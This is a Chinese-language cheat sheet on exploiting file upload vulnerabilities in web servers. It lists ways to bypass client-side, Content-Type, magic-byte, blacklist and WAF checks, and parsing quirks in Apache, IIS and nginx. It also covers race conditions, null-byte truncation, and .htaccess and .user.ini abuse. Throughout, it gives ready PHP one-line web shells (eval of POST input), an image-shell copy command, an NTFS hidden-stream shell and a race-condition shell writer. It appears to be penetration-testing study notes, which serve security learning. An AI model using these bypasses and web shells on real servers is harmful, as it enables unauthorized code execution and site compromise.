文件上传(解析)漏洞
- 一般是指上传web脚本文件能够被服务器解析的漏洞
- 利用条件:
- 上传文件后所在的目录在Web容器可以覆盖到的地方,可以被Web容器解释执行
- 能够访问到该文件
- 上传后的文件保持功能完整
突破文件上传检测
1. 客户端检测
- 特点:在点击上传的时,客户端没有向服务器发送任何消息之前,就提示上传文件非法
- 解决:
- 禁用浏览器JavaScript脚本
- 先改成合法后缀名,在发送过程中截包,修改会正常后缀
2. Content-Type检测文件类型
- 原理:服务器对HTTP报头中的
Content-Type
字段进行检测 - 解决:使用截包工具对
Content-Type
字段进行修改
3. 文件内容检测
解决:截包之后添加伪造的文件头或直接制作图片马
类型 | 幻数 |
---|---|
jpg | FFD8FFE000104A464946 |
gif | 474946383961 |
png | 89504E47 |
其中gif
的幻数最为简单,直接使用ASCII值GIF89a
即可
图片马:copy normal.jpg /b + test.php /a test.jpg
4. 后缀名黑名单
- 利用黑名单的漏网之鱼,利用操作系统文件命名规则,利用Web服务组件解析漏洞
-
大小写混用
pHp
、aSp
之类(Linux下也可用) -
Windows会自动去掉不符合规则符号后面的内容
test.asp.
test.asp(空格)
test.php_
test.php:1.jpg
test.php::$DATA
test.php::$DATA\1.jpg 生成1.jpg
-
利用NTFS ADS特性:使用
echo ^<?php @eval(request[caidao])?^> > index.php:hidden.jpg
生成一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>
,这样子就可以正常解析我们的一句话了。 -
能被解析的不常见扩展名:
jsp
:jspx
、jspf
、jsps
asp
:asa
、cer
、aspx
、cdx
、ashx
、htr
、asax
php
:php3
、php4
、php5
、php7
、phpt
、phtml
exe
:exee
-
利用PHP和Windows环境的叠加性,存在以下对应关系,问题出在
move_uploaded_file
函数对文件名的解析符号 对应正则符号 " . > ? < *
5. 解析漏洞:
5.1 Apache
-
Apache的解析规则为:从右至左依次尝试,直至识别
eg: 1.php.xxx
-
换行解析:2.4.0~2.4.29版本中的漏洞
1.php\0x0A
会被按照PHP进行解析
5.2 IIS
- 畸形目录解析(<=6.0):
.asp
结尾的目录下面,被IIS当做网页解析/xxxxx.asp/xxxxx.jpg
- 分号文件解析:IIS解析时忽略分号后面的部分
test.asp;.jpg
- 开启fast-cgi引起的畸形解析:在文件路径后面加上
/xx.php
会将原来的文件解析成php文件。xxx.jpg/.php
或者xxx.jpg/不存在.php
5.3 nginx
-
在fast-cgi引起的畸形解析(和IIS一样)
-
空字节代码执行:
xxx.jpg%00.php
-
文件名逻辑漏洞:
/test.jpg \0.php
中间有空格 -
路径穿越(配置不当):可以通过访问
/files../
的方式穿越路径//正确配置 location /files/ { alias /home/; } //错误配置 location /files{ alias /home/; }
6. 配合文件包含
- 校验规则检测脚本文件中是否含有木马
- 上传一个内容为木马的其他类型文件
- 上传脚本文件,内容为引用之前的文件
PHP
<?php Include("上传的txt文件路径");?>
ASP
<!--#include file="上传的txt文件路径" -->
JSP
<jsp:inclde page="上传的txt文件路径"/>
<%@include file="上传的txt文件路径"%>
7. 对于一些WAF
7.1 垃圾数据
构造超大文件,前面为垃圾内容,后面为真正脚本内容
7.2 利用非预期HTTP方法
-
服务器对POST方法上传的文件进行过滤
-
使用GET方法上传
7.3 非预期字符
- 删除报文中的
Conten-Type
字段 - 在
boundary=
后增加空格或其他字符 - 超长文件名
shell.asp;火火火火火火火火火火火火火火火火火火火火火火火火火火火火.jpg
8. 文件加载检测
调用API函数进行加载测试,常见的是图像渲染测试、二次渲染
- 图像渲染绕过:使用代码注入绕过
- 在图片文件空白区域填充代码
- 二次渲染:攻击加载器本身
- 找到经过页面所调用的库转化后没有改变的部分,将相应部分改为代码
9. 条件竞争
目前看到两种思路:
- 首先上传一个写Shell的php
<?php fputs(fopen('shell.php',w),'<?php @eval($_POST["p"]);?>');?>
,while1循环访问该文件,持续上传,直到竞争完成文件创建。 - 循环上传一句话,持续尝试访问该页面。
10. 00截断
-
两种情况:一种是
%00
,一种是0x00
-
前者用在GET传参,
%00
作为URL会被URL解码,对应的是\0
-
后者用于POST,POST传送的字符不会经过URL解码,所以需要将其改为十六进制的
0x00
-
00截断的目的在于,(php基于C)当PHP中的函数将
\0
视为字符串的终止,因此只有当文件名变量可控并且不会进行去空字符操作的时候,同时有函数调用这个字符串的时候才有效。
11. 配置文件
11.1 httpd.conf
-
httpd.conf
是apache的配置文件-
如果其中包含
AddHandler php5-script .php
只要文件名中包含.php就会以php文件执行AddHandler
说明什么样的扩展名使用什么样的程序来处理,描述的是扩展名与处理程序之间的关系 -
如果其中包含
AddType application/x-httpd-php .jpg
即使文件扩展为.jpg
也会按照php执行,该选项是与类型表相关的,描述的是扩展名与文件类型之间的关系,在客户端与服务端协商的时候,客户端会描述需要什么类型的字段,服务端调取相应后缀名的文件。 -
也可以指定某些文件按照指定的格式解析
<FilesMatch "evil.jpg"> SetHandler application/x-httpd-php </FileMatch>
-
-
但是
DocumentRoot
设置会影响到作用效果DocumentRoot "D:\phpStudy\PHPTutorial\WWW\"
这样的话里层文件夹可以覆盖到DocumentRoot "D:\phpStudy\PHPTutorial\WWW"
而这样只能覆盖到www文件夹
11.2 .htaccess
-
作用于当前目录及其子目录的配置文件
-
生效要求(httpd.conf配置):
AllowOverride All
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
-
通过向
.htaccess
文件-
写入
AddType application/x-httpd-php xxx
即可将xxx
后缀文件解析为php -
写入如下配置,可以将shell.jpg 解析为php
<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
-
-
php的
.htaccess
文件中,匹配文件的语句是正则语句,.
(点)在正则中表示任意字符,*
在正则中表示前面的字符重复0次或多次,这里识别正则不是通配符,比如说你在引号里写1.jpg
,实际上12jpg
也能解析。<FilesMatch "\.php$"> SetHandler application/x-httpd-php </FilesMatch>
11.3 .user.ini
-
通过
.user.ini
绕过文件上传过滤(或者说叫解析漏洞),与.htaccess
文件利用类似,但是user.ini
文件和htaccess相比:在修改后不用重启服务器,只需要等待刷新时间即可 -
在上传的
.user.ini
文件中写入auto_prepend_file=01.gif
这样就可以在该目录下的所有php文件中包含01.gif